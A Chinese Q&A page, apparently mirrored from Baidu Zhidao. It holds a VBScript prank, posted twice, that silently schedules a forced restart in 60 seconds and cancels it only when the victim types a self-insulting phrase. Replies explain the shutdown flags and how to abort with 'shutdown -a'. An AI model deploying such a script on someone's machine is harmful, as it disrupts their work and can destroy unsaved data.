UC知道谁能帮我修改这个程序！！！高手帮帮忙
来源：百度知道 编辑：UC知道 时间：2024/05/25 10:36:03
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是笨蛋，不说我是笨蛋就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是小笨蛋")
a = inputbox ("说我是笨蛋,就不关机，快撒，说 ""我是笨蛋"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
为什么打开了就一定会自动关机啊！！！谁能帮忙修改下啊
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是笨蛋，不说我是笨蛋就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是小笨蛋")
a = inputbox ("说我是笨蛋,就不关机，快撒，说 ""我是笨蛋"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
为什么打开了就一定会自动关机啊！！！谁能帮忙修改下啊
run "cmd.exe /c shutdown -r -t 60 -c决定自动关机
解释如下：
shutdown.exe是自动关机程序，在windowsxp里有，-r表示关机并重启，-t表示倒计时后执行，-c表示到达指定时间后显示内容
修改可以改时间，或直接删掉
对策：
点击开始--->运行，在命令中输入cmd.exe /c shutdown -a
就不会关机啦
cmd.exe /c shutdown -r -t 60 -c
60秒自动关机
无聊！
从做一下系统或修改一下bose里的设置。